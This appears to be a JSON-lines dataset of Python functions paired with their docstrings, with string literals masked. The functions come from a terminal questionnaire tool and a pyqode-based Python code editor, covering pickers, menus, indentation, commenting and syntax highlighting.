{"signature": "def format_answers(self, fmt='<STR_LIT>'):", "body": "fmts = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if fmt not in fmts:<EOL><INDENT>eprint(\"<STR_LIT>\".format(fmt, fmts))<EOL>return<EOL><DEDENT>def stringify(val):<EOL><INDENT>if type(val) in (list, tuple):<EOL><INDENT>return '<STR_LIT:U+002CU+0020>'.join(str(e) for e in val)<EOL><DEDENT>return val<EOL><DEDENT>if fmt == '<STR_LIT>':<EOL><INDENT>return json.dumps(self.answers)<EOL><DEDENT>elif fmt == '<STR_LIT>':<EOL><INDENT>answers = [[k, v] for k, v in self.answers.items()]<EOL>return json.dumps(answers)<EOL><DEDENT>elif fmt == '<STR_LIT>':<EOL><INDENT>answers = '<STR_LIT:\\n>'.join('<STR_LIT>'.format(k, stringify(v)) for k, v in self.answers.items())<EOL>return answers<EOL><DEDENT>", "docstring": "Formats answers depending on `fmt`.", "id": "f635:c2:m14"}
{"signature": "def answer_display(self, s='<STR_LIT>'):", "body": "padding = len(max(self.questions.keys(), key=len)) + <NUM_LIT:5><EOL>for key in list(self.answers.keys()):<EOL><INDENT>s += '<STR_LIT>'.format(key, padding, self.answers[key])<EOL><DEDENT>return s<EOL>", "docstring": "Helper method for displaying the answers so far.", "id": "f635:c2:m15"}
{"signature": "def register(key='<STR_LIT>'):", "body": "def decorate(func):<EOL><INDENT>prompters[key] = func<EOL>return func<EOL><DEDENT>return decorate<EOL>", "docstring": "Add decorated functions to prompters dict.", "id": "f636:m2"}
{"signature": "@register(key='<STR_LIT>')<EOL>def one(prompt, *args, **kwargs):", "body": "indicator = '<STR_LIT>'<EOL>if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:0>):<EOL><INDENT>indicator = '<STR_LIT:>>'<EOL><DEDENT>def go_back(picker):<EOL><INDENT>return None, -<NUM_LIT:1><EOL><DEDENT>options, verbose_options = prepare_options(args)<EOL>idx = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>picker = Picker(verbose_options, title=prompt, indicator=indicator, default_index=idx)<EOL>picker.register_custom_handler(ord('<STR_LIT:h>'), go_back)<EOL>picker.register_custom_handler(curses.KEY_LEFT, go_back)<EOL>with stdout_redirected(sys.stderr):<EOL><INDENT>option, index = picker.start()<EOL>if index == -<NUM_LIT:1>:<EOL><INDENT>raise QuestionnaireGoBack<EOL><DEDENT>if kwargs.get('<STR_LIT>', False):<EOL><INDENT>return index<EOL><DEDENT>return options[index]<EOL><DEDENT>", "docstring": "Instantiates a picker, registers custom handlers for going back,\n    and starts the picker.", "id": "f636:m3"}
{"signature": "@register(key='<STR_LIT>')<EOL>def many(prompt, *args, **kwargs):", "body": "def get_options(options, chosen):<EOL><INDENT>return [options[i] for i, c in enumerate(chosen) if c]<EOL><DEDENT>def get_verbose_options(verbose_options, chosen):<EOL><INDENT>no, yes = '<STR_LIT:U+0020>', '<STR_LIT>'<EOL>if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:3>):<EOL><INDENT>no, yes = '<STR_LIT:U+0020>', '<STR_LIT:@>'<EOL><DEDENT>opts = ['<STR_LIT>'.format(yes if c else no, verbose_options[i]) for i, c in enumerate(chosen)]<EOL>return opts + ['<STR_LIT>'.format('<STR_LIT:U+0020>', kwargs.get('<STR_LIT>', '<STR_LIT>'))]<EOL><DEDENT>options, verbose_options = prepare_options(args)<EOL>chosen = [False] * len(options)<EOL>index = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>default = kwargs.get('<STR_LIT:default>', None)<EOL>if isinstance(default, list):<EOL><INDENT>for idx in default:<EOL><INDENT>chosen[idx] = True<EOL><DEDENT><DEDENT>if isinstance(default, int):<EOL><INDENT>chosen[default] = True<EOL><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>index = one(prompt, *get_verbose_options(verbose_options, chosen), return_index=True, idx=index)<EOL><DEDENT>except QuestionnaireGoBack:<EOL><INDENT>if any(chosen):<EOL><INDENT>raise QuestionnaireGoBack(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>raise QuestionnaireGoBack<EOL><DEDENT><DEDENT>if index == len(options):<EOL><INDENT>return get_options(options, chosen)<EOL><DEDENT>chosen[index] = not chosen[index]<EOL><DEDENT>", "docstring": "Calls `pick` in a while loop to allow user to pick many\n    options. Returns a list of chosen options.", "id": "f636:m4"}
{"signature": "def prepare_options(options):", "body": "options_, verbose_options = [], []<EOL>for option in options:<EOL><INDENT>if is_string(option):<EOL><INDENT>options_.append(option)<EOL>verbose_options.append(option)<EOL><DEDENT>else:<EOL><INDENT>options_.append(option[<NUM_LIT:0>])<EOL>verbose_options.append(option[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>return options_, verbose_options<EOL>", "docstring": "Create options and verbose options from strings and non-string iterables in\n    `options` array.", "id": "f636:m5"}
{"signature": "@register(key='<STR_LIT>')<EOL>def raw(prompt, *args, **kwargs):", "body": "go_back = kwargs.get('<STR_LIT>', '<STR_LIT:<>')<EOL>type_ = kwargs.get('<STR_LIT:type>', str)<EOL>default = kwargs.get('<STR_LIT:default>', '<STR_LIT>')<EOL>with stdout_redirected(sys.stderr):<EOL><INDENT>while True:<EOL><INDENT>try:<EOL><INDENT>if kwargs.get('<STR_LIT>', False):<EOL><INDENT>answer = getpass.getpass(prompt)<EOL><DEDENT>elif sys.version_info < (<NUM_LIT:3>, <NUM_LIT:0>):<EOL><INDENT>answer = raw_input(prompt)<EOL><DEDENT>else:<EOL><INDENT>answer = input(prompt)<EOL><DEDENT>if not answer:<EOL><INDENT>answer = default<EOL><DEDENT>if answer == go_back:<EOL><INDENT>raise QuestionnaireGoBack<EOL><DEDENT>return type_(answer)<EOL><DEDENT>except ValueError:<EOL><INDENT>eprint('<STR_LIT>'.format(answer, type_))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Calls input to allow user to input an arbitrary string. User can go\n    back by entering the `go_back` string. Works in both Python 2 and 3.", "id": "f636:m6"}
{"signature": "@contextmanager<EOL>def stdout_redirected(to):", "body": "stdout = sys.stdout<EOL>stdout_fd = fileno(stdout)<EOL>with os.fdopen(os.dup(stdout_fd), '<STR_LIT:wb>') as copied:<EOL><INDENT>stdout.flush()  <EOL>try:<EOL><INDENT>os.dup2(fileno(to), stdout_fd)  <EOL><DEDENT>except ValueError:  <EOL><INDENT>with open(to, '<STR_LIT:wb>') as to_file:<EOL><INDENT>os.dup2(to_file.fileno(), stdout_fd)  <EOL><DEDENT><DEDENT>try:<EOL><INDENT>yield stdout  <EOL><DEDENT>finally:<EOL><INDENT>stdout.flush()<EOL>os.dup2(copied.fileno(), stdout_fd)<EOL><DEDENT><DEDENT>", "docstring": "Lifted from: https://stackoverflow.com/questions/4675728/redirect-stdout-to-a-file-in-python\n\n    This is the only way I've found to redirect stdout with curses. This way the\n    output from questionnaire can be piped to another program, without piping\n    what's written to the terminal by the prompters.", "id": "f636:m7"}
{"signature": "def cwd_at(path):", "body": "def decorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def wrapper(*args, **kwds):<EOL><INDENT>try:<EOL><INDENT>oldcwd = os.getcwd()<EOL>repo_root = os.path.dirname(test_dir)<EOL>os.chdir(os.path.join(repo_root, path))<EOL>return func(*args, **kwds)<EOL><DEDENT>finally:<EOL><INDENT>os.chdir(oldcwd)<EOL><DEDENT><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator to run function at `path`.\n\n:type path: str\n:arg path: relative path from repository root (e.g., 'pyqode' or 'test').", "id": "f656:m0"}
{"signature": "def delete_file_on_return(path):", "body": "def decorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def wrapper(*args, **kwds):<EOL><INDENT>try:<EOL><INDENT>return func(*args, **kwds)<EOL><DEDENT>finally:<EOL><INDENT>try:<EOL><INDENT>os.remove(path)<EOL><DEDENT>except (IOError, OSError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator to run function at `path`.\n\n:type path: str\n:arg path: relative path from repository root (e.g., 'pyqode' or 'test').", "id": "f656:m1"}
{"signature": "def foo():", "body": "pass<EOL>", "docstring": "Foo", "id": "f660:m0"}
{"signature": "def spam(self):", "body": "pass<EOL>", "docstring": "Spam", "id": "f660:c0:m1"}
{"signature": "def setup_actions(self):", "body": "self.actionOpen.triggered.connect(self.on_open)<EOL>self.actionNew.triggered.connect(self.on_new)<EOL>self.actionSave.triggered.connect(self.on_save)<EOL>self.actionSave_as.triggered.connect(self.on_save_as)<EOL>self.actionQuit.triggered.connect(<EOL>QtWidgets.QApplication.instance().quit)<EOL>self.tabWidget.current_changed.connect(self.on_current_tab_changed)<EOL>self.tabWidget.last_tab_closed.connect(self.on_last_tab_closed)<EOL>self.actionAbout.triggered.connect(self.on_about)<EOL>self.actionRun.triggered.connect(self.on_run)<EOL>self.interactiveConsole.process_finished.connect(<EOL>self.on_process_finished)<EOL>self.actionConfigure_run.triggered.connect(self.on_configure_run)<EOL>", "docstring": "Connects slots to signals", "id": "f666:c0:m3"}
{"signature": "def setup_recent_files_menu(self):", "body": "self.recent_files_manager = widgets.RecentFilesManager(<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>self.menu_recents = widgets.MenuRecentFiles(<EOL>self.menuFile, title='<STR_LIT>',<EOL>recent_files_manager=self.recent_files_manager)<EOL>self.menu_recents.open_requested.connect(self.open_file)<EOL>self.menuFile.insertMenu(self.actionSave, self.menu_recents)<EOL>self.menuFile.insertSeparator(self.actionSave)<EOL>", "docstring": "Setup the recent files menu and manager", "id": "f666:c0:m5"}
{"signature": "def closeEvent(self, QCloseEvent):", "body": "self.tabWidget.closeEvent(QCloseEvent)<EOL>", "docstring": "Delegates the close event to the tabWidget to be sure we do not quit\nthe application while there are some still some unsaved tabs.", "id": "f666:c0:m6"}
{"signature": "def setup_editor(self, editor):", "body": "editor.cursorPositionChanged.connect(self.on_cursor_pos_changed)<EOL>try:<EOL><INDENT>m = editor.modes.get(modes.GoToAssignmentsMode)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>assert isinstance(m, modes.GoToAssignmentsMode)<EOL>m.out_of_doc.connect(self.on_goto_out_of_doc)<EOL><DEDENT>", "docstring": "Setup the python editor, run the server and connect a few signals.\n\n:param editor: editor to setup.", "id": "f666:c0:m7"}
{"signature": "def open_file(self, path, line=None):", "body": "editor = None<EOL>if path:<EOL><INDENT>interpreter, pyserver, args = self._get_backend_parameters()<EOL>editor = self.tabWidget.open_document(<EOL>path, None, interpreter=interpreter, server_script=pyserver,<EOL>args=args)<EOL>if editor:<EOL><INDENT>self.setup_editor(editor)<EOL><DEDENT>self.recent_files_manager.open_file(path)<EOL>self.menu_recents.update_actions()<EOL><DEDENT>if line is not None:<EOL><INDENT>TextHelper(self.tabWidget.current_widget()).goto_line(line)<EOL><DEDENT>return editor<EOL>", "docstring": "Creates a new GenericCodeEdit, opens the requested file and adds it\nto the tab widget.\n\n:param path: Path of the file to open\n\n:return The opened editor if open succeeded.", "id": "f666:c0:m8"}
{"signature": "def _get_backend_parameters(self):", "body": "frozen = hasattr(sys, '<STR_LIT>')<EOL>interpreter = Settings().interpreter<EOL>if frozen:<EOL><INDENT>interpreter = None<EOL><DEDENT>pyserver = server.__file__ if interpreter is not None else '<STR_LIT>'<EOL>args = []<EOL>return interpreter, pyserver, args<EOL>", "docstring": "Gets the pyqode backend parameters (interpreter and script).", "id": "f666:c0:m9"}
{"signature": "def on_new(self):", "body": "interpreter, pyserver, args = self._get_backend_parameters()<EOL>self.setup_editor(self.tabWidget.create_new_document(<EOL>extension='<STR_LIT>', interpreter=interpreter, server_script=pyserver,<EOL>args=args))<EOL>self.actionRun.setDisabled(True)<EOL>self.actionConfigure_run.setDisabled(True)<EOL>", "docstring": "Add a new empty code editor to the tab widget", "id": "f666:c0:m10"}
{"signature": "def on_open(self):", "body": "filename, filter = QtWidgets.QFileDialog.getOpenFileName(self, '<STR_LIT>')<EOL>if filename:<EOL><INDENT>self.open_file(filename)<EOL><DEDENT>self.actionRun.setEnabled(True)<EOL>self.actionConfigure_run.setEnabled(True)<EOL>", "docstring": "Shows an open file dialog and open the file if the dialog was\naccepted.", "id": "f666:c0:m11"}
{"signature": "def on_save_as(self):", "body": "path = self.tabWidget.current_widget().file.path<EOL>path = os.path.dirname(path) if path else '<STR_LIT>'<EOL>filename, filter = QtWidgets.QFileDialog.getSaveFileName(<EOL>self, '<STR_LIT>', path)<EOL>if filename:<EOL><INDENT>self.tabWidget.save_current(filename)<EOL>self.recent_files_manager.open_file(filename)<EOL>self.menu_recents.update_actions()<EOL>self.actionRun.setEnabled(True)<EOL>self.actionConfigure_run.setEnabled(True)<EOL>self._update_status_bar(self.tabWidget.current_widget())<EOL><DEDENT>", "docstring": "Save the current editor document as.", "id": "f666:c0:m13"}
{"signature": "def setup_mnu_edit(self, editor):", "body": "self.menuEdit.addActions(editor.actions())<EOL>self.menuEdit.addSeparator()<EOL>self.setup_mnu_style(editor)<EOL>", "docstring": "Setup the edit menu for the current editor. We show the current editor\ncontext menu and a menu to change the python interpreter.\n\n:param editor: new editor", "id": "f666:c0:m14"}
{"signature": "def setup_mnu_style(self, editor):", "body": "menu = QtWidgets.QMenu('<STR_LIT>', self.menuEdit)<EOL>group = QtWidgets.QActionGroup(self)<EOL>self.styles_group = group<EOL>current_style = editor.syntax_highlighter.color_scheme.name<EOL>group.triggered.connect(self.on_style_changed)<EOL>for s in sorted(PYGMENTS_STYLES):<EOL><INDENT>a = QtWidgets.QAction(menu)<EOL>a.setText(s)<EOL>a.setCheckable(True)<EOL>if s == current_style:<EOL><INDENT>a.setChecked(True)<EOL><DEDENT>group.addAction(a)<EOL>menu.addAction(a)<EOL><DEDENT>self.menuEdit.addMenu(menu)<EOL>", "docstring": "setup the style menu for an editor tab", "id": "f666:c0:m15"}
{"signature": "def setup_mnu_panels(self, editor):", "body": "for panel in editor.panels:<EOL><INDENT>if panel.dynamic:<EOL><INDENT>continue<EOL><DEDENT>a = QtWidgets.QAction(self.menuModes)<EOL>a.setText(panel.name)<EOL>a.setCheckable(True)<EOL>a.setChecked(panel.enabled)<EOL>a.changed.connect(self.on_panel_state_changed)<EOL>a.panel = weakref.proxy(panel)<EOL>self.menuPanels.addAction(a)<EOL><DEDENT>", "docstring": "Setup the panels menu for the current editor.\n:param editor:", "id": "f666:c0:m17"}
{"signature": "def on_current_tab_changed(self):", "body": "self.menuEdit.clear()<EOL>self.menuModes.clear()<EOL>self.menuPanels.clear()<EOL>editor = self.tabWidget.current_widget()<EOL>self.menuEdit.setEnabled(editor is not None)<EOL>self.menuModes.setEnabled(editor is not None)<EOL>self.menuPanels.setEnabled(editor is not None)<EOL>self.actionSave.setEnabled(editor is not None)<EOL>self.actionSave_as.setEnabled(editor is not None)<EOL>self.actionConfigure_run.setEnabled(editor is not None)<EOL>self.actionRun.setEnabled(editor is not None)<EOL>if editor is not None:<EOL><INDENT>self.setup_mnu_edit(editor)<EOL>self.setup_mnu_modes(editor)<EOL>self.setup_mnu_panels(editor)<EOL><DEDENT>self.widgetOutline.set_editor(editor)<EOL>self._update_status_bar(editor)<EOL>", "docstring": "Update action states when the current tab changed.", "id": "f666:c0:m19"}
{"signature": "def on_panel_state_changed(self):", "body": "action = self.sender()<EOL>action.panel.enabled = action.isChecked()<EOL>action.panel.setVisible(action.isChecked())<EOL>", "docstring": "Enable disable the selected panel.", "id": "f666:c0:m23"}
{"signature": "def on_mode_state_changed(self):", "body": "action = self.sender()<EOL>action.mode.enabled = action.isChecked()<EOL>", "docstring": "Enable/Disable the selected mode", "id": "f666:c0:m24"}
{"signature": "def on_about(self):", "body": "QtWidgets.QMessageBox.about(<EOL>self, '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>", "docstring": "Show about dialog", "id": "f666:c0:m25"}
{"signature": "def on_run(self):", "body": "filename = self.tabWidget.current_widget().file.path<EOL>wd = os.path.dirname(filename)<EOL>args = Settings().get_run_config_for_file(filename)<EOL>self.interactiveConsole.start_process(<EOL>Settings().interpreter, args=[filename] + args, cwd=wd)<EOL>self.dockWidget.show()<EOL>self.actionRun.setEnabled(False)<EOL>self.actionConfigure_run.setEnabled(False)<EOL>", "docstring": "Run the current current script", "id": "f666:c0:m26"}
{"signature": "def on_goto_out_of_doc(self, assignment):", "body": "editor = self.open_file(assignment.module_path)<EOL>if editor:<EOL><INDENT>TextHelper(editor).goto_line(assignment.line, assignment.column)<EOL><DEDENT>", "docstring": "Open the a new tab when goto goes out of the current document.\n\n:param assignment: Destination", "id": "f666:c0:m27"}
{"signature": "@property<EOL><INDENT>def run_configs(self):<DEDENT>", "body": "string = self.settings.value('<STR_LIT>', '<STR_LIT:{}>')<EOL>return json.loads(string)<EOL>", "docstring": "Returns the dictionary of run configurations. A run configuration is\njust a list of arguments to append to the run command.\n\nThis is internally stored as a json object", "id": "f671:c0:m3"}
{"signature": "def read_version():", "body": "with open(\"<STR_LIT>\") as f:<EOL><INDENT>lines = f.read().splitlines()<EOL>for l in lines:<EOL><INDENT>if \"<STR_LIT>\" in l:<EOL><INDENT>return l.split(\"<STR_LIT:=>\")[<NUM_LIT:1>].strip().replace('<STR_LIT:\">', \"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Reads the version without self importing", "id": "f674:m0"}
{"signature": "def detect_fold_level(self, prev_block, block):", "body": "<EOL>lvl = super(PythonFoldDetector, self).detect_fold_level(<EOL>prev_block, block)<EOL>prev_lvl = TextBlockHelper.get_fold_lvl(prev_block)<EOL>if prev_block and lvl > prev_lvl and not (<EOL>self._strip_comments(prev_block).endswith('<STR_LIT::>')):<EOL><INDENT>lvl = prev_lvl<EOL><DEDENT>lvl = self._handle_docstrings(block, lvl, prev_block)<EOL>lvl = self._handle_imports(block, lvl, prev_block)<EOL>return lvl<EOL>", "docstring": "Perfoms fold level detection for current block (take previous block\ninto account).\n\n:param prev_block: previous block, None if `block` is the first block.\n:param block: block to analyse.\n:return: block fold level", "id": "f694:c0:m3"}
{"signature": "def any(name, alternates):", "body": "return \"<STR_LIT>\" % name + \"<STR_LIT:|>\".join(alternates) + \"<STR_LIT:)>\"<EOL>", "docstring": "Return a named group pattern matching list of alternates.", "id": "f695:m0"}
{"signature": "def make_python_patterns(additional_keywords=[], additional_builtins=[]):", "body": "kw = r\"<STR_LIT>\" + any(\"<STR_LIT>\", kwlist + additional_keywords) + r\"<STR_LIT>\"<EOL>kw_namespace = r\"<STR_LIT>\" + any(\"<STR_LIT>\", kw_namespace_list) + r\"<STR_LIT>\"<EOL>word_operators = r\"<STR_LIT>\" + any(\"<STR_LIT>\", wordop_list) + r\"<STR_LIT>\"<EOL>builtinlist = [str(name) for name in dir(builtins)<EOL>if not name.startswith('<STR_LIT:_>')] + additional_builtins<EOL>for v in ['<STR_LIT:None>', '<STR_LIT:True>', '<STR_LIT:False>']:<EOL><INDENT>builtinlist.remove(v)<EOL><DEDENT>builtin = r\"<STR_LIT>\" + any(\"<STR_LIT>\", builtinlist) + r\"<STR_LIT>\"<EOL>builtin_fct = any(\"<STR_LIT>\", [r'<STR_LIT>'])<EOL>comment = any(\"<STR_LIT>\", [r\"<STR_LIT>\"])<EOL>instance = any(\"<STR_LIT>\", [r\"<STR_LIT>\", r\"<STR_LIT>\"])<EOL>decorator = any('<STR_LIT>', [r'<STR_LIT>', r'<STR_LIT>'])<EOL>number = any(\"<STR_LIT>\",<EOL>[r\"<STR_LIT>\",<EOL>r\"<STR_LIT>\",<EOL>r\"<STR_LIT>\",<EOL>r\"<STR_LIT>\",<EOL>r\"<STR_LIT>\"])<EOL>sqstring = r\"<STR_LIT>\"<EOL>dqstring = r'<STR_LIT>'<EOL>uf_sqstring = r\"<STR_LIT>\"<EOL>uf_dqstring = r'<STR_LIT>'<EOL>sq3string = r\"<STR_LIT>\"<EOL>dq3string = r'<STR_LIT>'<EOL>uf_sq3string = r\"<STR_LIT>\"<EOL>uf_dq3string = r'<STR_LIT>'<EOL>string = any(\"<STR_LIT:string>\", [sq3string, dq3string, sqstring, dqstring])<EOL>ufstring1 = any(\"<STR_LIT>\", [uf_sqstring])<EOL>ufstring2 = any(\"<STR_LIT>\", [uf_dqstring])<EOL>ufstring3 = any(\"<STR_LIT>\", [uf_sq3string])<EOL>ufstring4 = any(\"<STR_LIT>\", [uf_dq3string])<EOL>return \"<STR_LIT:|>\".join([instance, decorator, kw, kw_namespace, builtin,<EOL>word_operators, builtin_fct, comment,<EOL>ufstring1, ufstring2, ufstring3, ufstring4, string,<EOL>number, any(\"<STR_LIT>\", [r\"<STR_LIT:\\n>\"])])<EOL>", "docstring": "Strongly inspired from idlelib.ColorDelegator.make_pat", "id": "f695:m1"}
{"signature": "def _handle_indent_between_paren(self, column, line, parent_impl, tc):", "body": "pre, post = parent_impl<EOL>next_char = self._get_next_char(tc)<EOL>prev_char = self._get_prev_char(tc)<EOL>prev_open = prev_char in ['<STR_LIT:[>', '<STR_LIT:(>', '<STR_LIT:{>']<EOL>next_close = next_char in ['<STR_LIT:]>', '<STR_LIT:)>', '<STR_LIT:}>']<EOL>(open_line, open_symbol_col), (close_line, close_col) =self._get_paren_pos(tc, column)<EOL>open_line_txt = self._helper.line_text(open_line)<EOL>open_line_indent = len(open_line_txt) - len(open_line_txt.lstrip())<EOL>if prev_open:<EOL><INDENT>post = (open_line_indent + self.editor.tab_length) * '<STR_LIT:U+0020>'<EOL><DEDENT>elif next_close and prev_char != '<STR_LIT:U+002C>':<EOL><INDENT>post = open_line_indent * '<STR_LIT:U+0020>'<EOL><DEDENT>elif tc.block().blockNumber() == open_line:<EOL><INDENT>post = open_symbol_col * '<STR_LIT:U+0020>'<EOL><DEDENT>if close_line and close_col:<EOL><INDENT>txt = self._helper.line_text(close_line)<EOL>bn = tc.block().blockNumber()<EOL>flg = bn == close_line<EOL>next_indent = self._helper.line_indent(bn + <NUM_LIT:1>) * '<STR_LIT:U+0020>'<EOL>if flg and txt.strip().endswith('<STR_LIT::>') and next_indent == post:<EOL><INDENT>post += self.editor.tab_length * '<STR_LIT:U+0020>'<EOL><DEDENT><DEDENT>if next_char in ['<STR_LIT:\">', \"<STR_LIT:'>\"]:<EOL><INDENT>tc.movePosition(tc.Left)<EOL><DEDENT>is_string = self._helper.is_comment_or_string(tc, formats=['<STR_LIT:string>'])<EOL>if next_char in ['<STR_LIT:\">', \"<STR_LIT:'>\"]:<EOL><INDENT>tc.movePosition(tc.Right)<EOL><DEDENT>if is_string:<EOL><INDENT>trav = QTextCursor(tc)<EOL>while self._helper.is_comment_or_string(<EOL>trav, formats=['<STR_LIT:string>']):<EOL><INDENT>trav.movePosition(trav.Left)<EOL><DEDENT>trav.movePosition(trav.Right)<EOL>symbol = '<STR_LIT:%s>' % self._get_next_char(trav)<EOL>pre += symbol<EOL>post += symbol<EOL><DEDENT>return pre, post<EOL>", "docstring": "Handle indent between symbols such as parenthesis, braces,...", "id": "f697:c0:m16"}
{"signature": "@staticmethod<EOL><INDENT>def _at_block_start(tc, line):<DEDENT>", "body": "if tc.atBlockStart():<EOL><INDENT>return True<EOL><DEDENT>column = tc.columnNumber()<EOL>indentation = len(line) - len(line.lstrip())<EOL>return column <= indentation<EOL>", "docstring": "Improve QTextCursor.atBlockStart to ignore spaces", "id": "f697:c0:m17"}
{"signature": "@property<EOL><INDENT>def tab_always_indent(self):<DEDENT>", "body": "return self._tab_always_indent<EOL>", "docstring": "When this flag is set to True, any call to indent will indent the whole\nline instead of inserting a tab at the cursor position.", "id": "f698:c0:m0"}
{"signature": "def indent(self):", "body": "if not self.tab_always_indent:<EOL><INDENT>super(PyIndenterMode, self).indent()<EOL><DEDENT>else:<EOL><INDENT>cursor = self.editor.textCursor()<EOL>assert isinstance(cursor, QtGui.QTextCursor)<EOL>if cursor.hasSelection():<EOL><INDENT>self.indent_selection(cursor)<EOL><DEDENT>else:<EOL><INDENT>tab_len = self.editor.tab_length<EOL>cursor.beginEditBlock()<EOL>if self.editor.use_spaces_instead_of_tabs:<EOL><INDENT>cursor.insertText(tab_len * \"<STR_LIT:U+0020>\")<EOL><DEDENT>else:<EOL><INDENT>cursor.insertText('<STR_LIT:\\t>')<EOL><DEDENT>cursor.endEditBlock()<EOL>self.editor.setTextCursor(cursor)<EOL><DEDENT><DEDENT>", "docstring": "Performs an indentation", "id": "f698:c0:m3"}
{"signature": "def unindent(self):", "body": "if self.tab_always_indent:<EOL><INDENT>cursor = self.editor.textCursor()<EOL>if not cursor.hasSelection():<EOL><INDENT>cursor.select(cursor.LineUnderCursor)<EOL><DEDENT>self.unindent_selection(cursor)<EOL><DEDENT>else:<EOL><INDENT>super(PyIndenterMode, self).unindent()<EOL><DEDENT>", "docstring": "Performs an un-indentation", "id": "f698:c0:m4"}
{"signature": "def on_state_changed(self, state):", "body": "if state:<EOL><INDENT>self.action.triggered.connect(self.comment)<EOL>self.editor.add_action(self.action, sub_menu='<STR_LIT>')<EOL>if '<STR_LIT>' in os.environ['<STR_LIT>'].lower():<EOL><INDENT>self.editor.key_pressed.connect(self.on_key_pressed)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.editor.remove_action(self.action, sub_menu='<STR_LIT>')<EOL>self.action.triggered.disconnect(self.comment)<EOL>if '<STR_LIT>' in os.environ['<STR_LIT>'].lower():<EOL><INDENT>self.editor.key_pressed.disconnect(self.on_key_pressed)<EOL><DEDENT><DEDENT>", "docstring": "Called when the mode is activated/deactivated", "id": "f700:c0:m1"}
{"signature": "def comment(self):", "body": "cursor = self.editor.textCursor()<EOL>indent, comment, nb_lines = self.get_operation()<EOL>has_selection = cursor.hasSelection()<EOL>if nb_lines > <NUM_LIT:1>:<EOL><INDENT>self._move_cursor_to_selection_start(cursor)<EOL>cursor.beginEditBlock()<EOL>for i in range(nb_lines):<EOL><INDENT>self.comment_line(indent, cursor, comment)<EOL>cursor.movePosition(cursor.NextBlock)<EOL><DEDENT>cursor.endEditBlock()<EOL><DEDENT>else:<EOL><INDENT>cursor.beginEditBlock()<EOL>self.comment_line(indent, cursor, comment)<EOL>if not has_selection:<EOL><INDENT>cursor.movePosition(cursor.NextBlock)<EOL>text = cursor.block().text()<EOL>indent = len(text) - len(text.lstrip())<EOL>cursor.movePosition(cursor.Right, cursor.MoveAnchor, indent)<EOL>cursor.endEditBlock()<EOL>self.editor.setTextCursor(cursor)<EOL><DEDENT>else:<EOL><INDENT>cursor.endEditBlock()<EOL><DEDENT><DEDENT>", "docstring": "Comments/Uncomments the selected lines or the current lines if there\nis no selection.", "id": "f700:c0:m6"}
{"signature": "def request_goto(self):", "body": "self._goto_requested = True<EOL>self._check_word_cursor()<EOL>", "docstring": "Request a goto action for the word under the text cursor.", "id": "f704:c1:m2"}
{"signature": "def _check_word_cursor(self, tc=None):", "body": "if not tc:<EOL><INDENT>tc = TextHelper(self.editor).word_under_cursor()<EOL><DEDENT>request_data = {<EOL>'<STR_LIT:code>': self.editor.toPlainText(),<EOL>'<STR_LIT>': tc.blockNumber(),<EOL>'<STR_LIT>': tc.columnNumber(),<EOL>'<STR_LIT:path>': self.editor.file.path,<EOL>'<STR_LIT>': self.editor.file.encoding<EOL>}<EOL>try:<EOL><INDENT>self.editor.backend.send_request(<EOL>workers.goto_assignments, request_data,<EOL>on_receive=self._on_results_available)<EOL><DEDENT>except NotRunning:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Request a go to assignment.\n\n:param tc: Text cursor which contains the text that we must look for\n           its assignment. Can be None to go to the text that is under\n           the text cursor.\n:type tc: QtGui.QTextCursor", "id": "f704:c1:m3"}
{"signature": "def _unique(self, seq):", "body": "<EOL>checked = []<EOL>for e in seq:<EOL><INDENT>present = False<EOL>for c in checked:<EOL><INDENT>if str(c) == str(e):<EOL><INDENT>present = True<EOL>break<EOL><DEDENT><DEDENT>if not present:<EOL><INDENT>checked.append(e)<EOL><DEDENT><DEDENT>return checked<EOL>", "docstring": "Not performant but works.", "id": "f704:c1:m5"}
{"signature": "def detect_encoding(self, path):", "body": "with open(path, '<STR_LIT:rb>') as file:<EOL><INDENT>source = file.read()<EOL>source = source.replace(b'<STR_LIT:\\r>', b'<STR_LIT>')<EOL>source_str = str(source).replace('<STR_LIT>', '<STR_LIT:\\n>')<EOL><DEDENT>byte_mark = ast.literal_eval(r\"<STR_LIT>\")<EOL>if source.startswith(byte_mark):<EOL><INDENT>return '<STR_LIT:utf-8>'<EOL><DEDENT>first_two_lines = re.match(r'<STR_LIT>', source_str).group(<NUM_LIT:0>)<EOL>possible_encoding = re.search(r\"<STR_LIT>\",<EOL>first_two_lines)<EOL>if possible_encoding:<EOL><INDENT>return possible_encoding.group(<NUM_LIT:1>)<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "For the implementation of encoding definitions in Python, look at:\n- http://www.python.org/dev/peps/pep-0263/\n\n.. note:: code taken and adapted from\n    ```jedi.common.source_to_unicode.detect_encoding```", "id": "f706:c0:m0"}
{"signature": "def update_terminal_colors(self):", "body": "self.color_scheme = self.create_color_scheme(<EOL>background=self.syntax_highlighter.color_scheme.background,<EOL>foreground=self.syntax_highlighter.color_scheme.formats['<STR_LIT>'].foreground().color())<EOL>", "docstring": "Update terminal color scheme based on the pygments color scheme colors", "id": "f708:c2:m3"}
